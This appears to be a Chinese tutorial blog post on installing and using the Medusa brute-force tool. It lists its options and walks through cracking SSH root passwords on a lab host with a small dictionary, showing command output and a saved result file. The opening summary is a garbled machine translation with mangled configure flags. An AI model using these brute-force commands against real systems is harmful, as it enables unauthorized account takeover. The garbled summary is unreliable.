摘要：
美杜莎介绍了美杜莎作为一种快速、大规模并行和模块化的暴力破解工具。您可以同时对多个主机、用户或密码执行强制测试。美杜莎和九头蛇一样，也是一种在线密码破解工具。Medusa是一个密码爆破工具，支持AFP、CVS、FTP、HTTP、IMAP、MS-SQL、MySQL、NCP、NNTP、PcAnywhere、POP3、PostgreSQL、rexec、RDP、rlogin、rsh、SMBNT、SMTP、SNMP、SSHv2、SVN、Telnet、VmAuthd、VNC、GenericWrapper和Web表单。官方网站：http://foofus.net/goons/jmk/medusa/medusa.htmlGitHub地址：https://github.com/jmk-foofus/medusatar.gz包在官方网站上提供，zip包由GitHub提供。安装Medusa安装依赖包[root@youxi1~]#Yum-yinstalllibssh2-devellibsh2-devellibtoollibtool-ltdllibtool-ltdl-devel将上载下载的压缩包，解压缩、编译并安装它[root@youxi1~]#tarxfmedusa-2.2.tar.gz[root@youxi1~]#cdmedusa-2.2/[root@youxi1medusa-2.2 ]#./ configure--enable debug=yes--enable module afp=yes--enable-module cvs=yes--enable module ftp=yes--enable module http=yes--enable-module imap=yes--enable module mssql=yes--enable-module mysql=yes--nable module ncp=yes--enable-module nntp=yes--enable module pcanywhere=yes--启用模块cvs=yes-enable-module-pop3=yes--启用模块postgres=yes--Enabled module rexec=yes--enable-module rlogin=yes--disable module rsh=yes--启用模块smbnt=yes--启用模块smtp=yes--启用组件smtp vrfy=yes--使能模块snmp=yes--允许模块ssh=yes--让能模块svn=yes--支持模块telnet=yes--使得能模块vmauthd=yes--帮助模块vnc=yes--启动模块包装器=yes--实现模块web表单=yes[root@youxi1medusa-2.2]#echo$？
(1).美杜莎介绍
Medusa(美杜莎)是一个速度快，支持大规模并行，模块化的暴力破解工具。可以同时对多个主机，用户或密码执行强力测试。Medusa和hydra一样，同样属于在线密码破解工具。Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具。
官方网站：http://foofus.net/goons/jmk/medusa/medusa.html
GitHub地址：https://github.com/jmk-foofus/medusa
官网提供tar.gz包，GitHub提供zip包
(2).安装Medusa
安装依赖包
[root@youxi1 ~]# yum -y install libssh2-devel libssh2-devel libtool libtool-ltdl libtool-ltdl-devel
将下载好的压缩包上传，解压编译安装
[root@youxi1 ~]# tar xf medusa-2.2.tar.gz [root@youxi1 ~]# cd medusa-2.2/ [root@youxi1 medusa-2.2]# ./configure --enable-debug=yes --enable-module-afp=yes --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes --enable-module-web-form=yes [root@youxi1 medusa-2.2]# echo $? 0 [root@youxi1 medusa-2.2]# make && make install [root@youxi1 medusa-2.2]# echo $? 0 [root@youxi1 medusa-2.2]# ls /usr/local/lib/medusa/modules/ //查看已经生成的模块 afp.mod mysql.mod rexec.mod snmp.mod web-form.mod cvs.mod ncp.mod rlogin.mod ssh.mod wrapper.mod ftp.mod nntp.mod rsh.mod svn.mod http.mod pcanywhere.mod smbnt.mod telnet.mod imap.mod pop3.mod smtp.mod vmauthd.mod mssql.mod postgres.mod smtp-vrfy.mod vnc.mod
(3).Medusa使用方法
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
选项说明：
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码，s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间，默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化，每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后，停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计。
-q 显示模块的使用信息
-v [NUM] 详细级别（0-6）
-w [NUM] 错误调试级别（0-10）
-V 显示版本
-Z [TEXT] 继续扫描上一次
(4).实例
指定主机，指定用户，测试单个密码
[root@youxi1 medusa-2.2]# cd [root@youxi1 ~]# echo 192.168.5.101 > host.txt [root@youxi1 ~]# echo root > users.txt [root@youxi1 ~]# medusa -M ssh -H host.txt -U users.txt -p 123456 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 1 complete) ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]
指定主机，指定用户，测试多个密码
[root@youxi1 ~]# vim p.txt //自己建立一个测试字典 1234567890 PASSWORD password 1234abcd abcd1234 ABCDEFGH abcdefgh 123456 [root@youxi1 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234567890 (1 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: PASSWORD (2 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (3 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234abcd (4 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcd1234 (5 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ABCDEFGH (6 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcdefgh (7 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (8 of 8 complete) ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]
使用-O选项将破解的密码保存到指定文件中
[root@youxi1 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O password.txt Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234567890 (1 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: PASSWORD (2 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (3 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234abcd (4 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcd1234 (5 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ABCDEFGH (6 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcdefgh (7 of 8 complete) ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (8 of 8 complete) ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS] [root@youxi1 ~]# cat password.txt //查看 # Medusa v.2.2 (2019-09-02 11:46:53) # medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O password.txt ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS] # Medusa has finished (2019-09-02 11:47:07).
字典文件可以到网上下载